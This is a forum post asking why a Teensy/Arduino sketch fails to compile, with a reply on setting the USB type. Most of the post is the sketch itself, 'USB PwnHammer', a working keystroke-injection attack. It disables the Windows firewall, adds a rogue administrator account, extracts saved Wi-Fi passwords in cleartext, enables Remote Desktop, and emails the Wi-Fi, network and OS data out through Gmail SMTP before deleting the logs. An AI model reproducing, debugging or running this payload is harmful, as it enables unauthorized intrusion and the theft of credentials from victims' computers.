Arduino library troubles

Arduino doesn't have HID libraries installed, and is giving me an error message when trying to compile.

My code is:

#include <Keyboard.h>

//USB PwnHammer
//
//This script should be uploaded to a Teensy 2.0 or higher
//This script will add a new admin, disable firewall,
//gain remote access, steal ipconfig data, steal the 
//wifi data, and send it all to your gmail account.
//It will also gather basic OS data and send that as well.
//Youtube link coming soon!
//
//Make sure your PC can remotely access another PC's desktop 
//This feature is include in Windows 7 Pro and above, Windows 
//8 Pro and above, and likewise in Windows 10
// 
//Meant for Windows 7, may work on windows 8, may also
//work on Windows 10. If you find out that it does, contact
//me at my github
//
//Inspired by USBDriveby by Samy Kamkar,also uses the 
//functions mod, ctrl, cmd, and shift.
//https://www.youtube.com/watch?v=aSLEq7-hlmo
//
//By Finian Blackett
//Advice from Jeff Rosen
//Testing assisted by Jonah Koeppe






void setup() {

  String emailAddress = "example@gmail.com"; //Email address, must be gmail,and gmail must have smtp server on in order to work.
  String emailPassword = "examplepass"; //Email password
  String username = "System"; //The username of the administrator account we want to add
  String password = "syspassword"; //The password
  int ds = 2500; //Delay in milliseconds   


  #if defined(CORE_TEENSY) //Define led pin for use as an indicator
  #define LED_PIN 11
  #else
  #define LED_PIN 13
  #endif




  //The actual function calls, see each function for a guide
  mainAttack(username, password);
  delay(ds);
  wifiStealer();
  delay(ds);
  gainRemoteAccess();
  delay(ds);
  sendData(emailAddress, emailPassword);


}

  void mod(int mod, int key) {//Type a modified key, such as Ctrl+Alt+Delete
    Keyboard.set_modifier(mod);
    Keyboard.send_now();
    Keyboard.set_key1(key);
    Keyboard.send_now();
    delay(ds);

    Keyboard.set_modifier(0);
    Keyboard.set_key1(0);
    Keyboard.send_now();
    delay(ds);
  }


  void ctrl(int key) {  //Type a ctrl modified key
    mod(MODIFIERKEY_CTRL, key);
  }


  void cmd(int key) { //Type a cmd modified key
    mod(MODIFIERKEY_GUI, key);
  }


  void shift(int key) { //Type a shift modified key
    mod(MODIFIERKEY_SHIFT, key);
  }


  void mainAttack(String username, String password) {
    pinMode(LED_PIN, OUTPUT);
    digitalWrite(LED_PIN, HIGH); //Indicate that we are running
    cmd(KEY_R);
    Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=15 LINES=1"); //Open command prompt
    delay(ds);
    Keyboard.println("netsh firewall set opmode mode=disable"); //Disable firewall
    delay(ds);
    Keyboard.println("net user /add " + username + " " + password); //Add user
    delay(ds);
    Keyboard.println("net localgroup administrators " + username + " /add"); //Set user as admin
  }


  void wifiStealer() {
    Keyboard.println("cd \"C:\\Users\\%USERPROFILE%\\Desktop\" & for /f \"tokens=2 delims=: \" %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v \"BSSID\"') do set A=%A");
    delay(ds); //Get SSID
    Keyboard.println("netsh wlan show profiles %A% key=clear | findstr /c:\"Network type\" /c:\"Authentication\" /c:\"Key Content\" | findstr /v \"broadcast\" | findstr /v \"Radio\">>A.txt");
    delay(ds); //Create A.txt
    Keyboard.println("for /f \"tokens=3 delims=: \" %A in ('findstr \"Network type\" A.txt') do set B=%A");
    delay(ds); //Get network type
    Keyboard.println("for /f \"tokens=2 delims=: \" %A in ('findstr \"Authentication\" A.txt') do set C=%A");
    delay(ds); //Get Authentication type
    Keyboard.println("for /f \"tokens=3 delims=: \" %A in ('findstr \"Key Content\" A.txt') do set D=%A");
    delay(ds); //Get password
    Keyboard.println("echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt");
    delay(ds); //Copy files to Log.txt
    Keyboard.println("del A.txt");
    delay(ds); //Delete the previous text file.
  }


  void gainRemoteAccess() {
    Keyboard.println("wmic os get Caption, Version, OperatingSystemSKU, OSProductSuite > osLog.txt");
    delay(ds);
    Keyboard.println("reg add \"hklm\\system\\currentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /t REG_DWORD /d 0x1 /f");
    delay(ds);
    Keyboard.println("reg add \"hklm\\system\\currentControlSet\\Control\\Terminal Server\" /v \"fDenyTSConnections\" /t REG_DWORD /d 0x0 /f");
    delay(ds);
    Keyboard.println("sc config TermService start= auto"); //Auto start the terminal service
    delay(ds);
    Keyboard.println("net start Termservice");
    delay(ds);
    Keyboard.println("ipconfig /all > ipLog.txt");
    delay(ds);
  }


  void sendData(String account, String accpassword) { //Send the data through powershell to your gmail account
    Keyboard.println("powershell");
    delay(ds); 
    Keyboard.println("$SMTPServer = 'smtp.gmail.com'");
    delay(ds);
    Keyboard.println("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");
    delay(ds);
    Keyboard.println("$SMTPInfo.EnableSsl = $true");
    delay(ds);
    Keyboard.println("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('" + account + "', '" + accpassword + "')");
    delay(ds);
    Keyboard.println("$IpReportEmail = New-Object System.Net.Mail.MailMessage");
    delay(ds);
    Keyboard.println("$IpReportEmail.From = '" + account + "'");
    delay(ds);
    Keyboard.println("$IpReportEmail.To.Add('" + account + "')");
    delay(ds);
    Keyboard.println("$IpReportEmail.Subject = 'IP address data'");
    delay(ds);
    Keyboard.println("$IpReportEmail.Body = (Get-Content ipLog.txt | out-string)");
    delay(ds);
    Keyboard.println("$SMTPInfo.Send($IpReportEmail)");
    delay(ds);
    Keyboard.println("$ReportEmail = New-Object System.Net.Mail.MailMessage");
    delay(ds);
    Keyboard.println("$ReportEmail.From = '" + account + "'");
    delay(ds);
    Keyboard.println("$ReportEmail.To.Add('" + account + "')");
    delay(ds);
    Keyboard.println("$ReportEmail.Subject = 'Wifi data'");
    delay(ds);
    Keyboard.println("$ReportEmail.Body = (Get-Content Log.txt | out-string)");
    delay(ds);
    Keyboard.println("$SMTPInfo.Send($ReportEmail)");
    delay(ds)
    Keyboard.println("$OSReportEmail = New-Object System.Net.Mail.MailMessage");
    delay(ds);
    Keyboard.println("$OSReportEmail.From = '" + account + "'");
    delay(ds);
    Keyboard.println("$OsReportEmail.To.Add('" + account + "')");
    delay(ds);
    Keyboard.println("$OSReportEmail.Subject = 'Wifi data'");
    delay(ds);
    Keyboard.println("$OSReportEmail.Body = (Get-Content osLog.txt | out-string)");
    delay(ds);
    Keyboard.println("$SMTPInfo.Send($OSReportEmail)");
    delay(ds);
    Keyboard.println("del Log.txt");
    delay(ds);
    Keyboard.println("del osLog.txt");
    delay(ds);
    Keyboard.println("del ipLog.txt & exit");
  }


void loop() {
  //Blink as a finished indicator
  digitalWrite(LED_PIN, HIGH);
  delay(ds*2);
  digitalWrite(LED_PIN, LOW);
  delay(ds*2);

}

And my error messages are:

Arduino: 1.6.7 (Windows 7), TD: 1.27, Board: "Teensy 3.2 / 3.1, Serial, 96 MHz optimized (overclock), US English"

In file included from E:\USB_PwnHammer_1.0.3\USB_PwnHammer_1.0.3.ino\USB_PwnHammer_1.0.3.ino.ino:1:0:
C:\Program Files (x86)\Arduino\libraries\Keyboard\src/Keyboard.h:25:17: fatal error: HID.h: No such file or directory
#include "HID.h"
^
compilation terminated.
exit status 1
Error compiling.

  This report would have more information with
  "Show verbose output during compilation"
  enabled in File > Preferences.

I am using a teensy 3.2 and Arduino 1.6.7

If you're using a Teensy, be sure to set the USB Type (under Tools) to Keyboard + Mouse. More info can be found here - Teensyduino: Using USB Mouse with Teensy on the Arduino IDE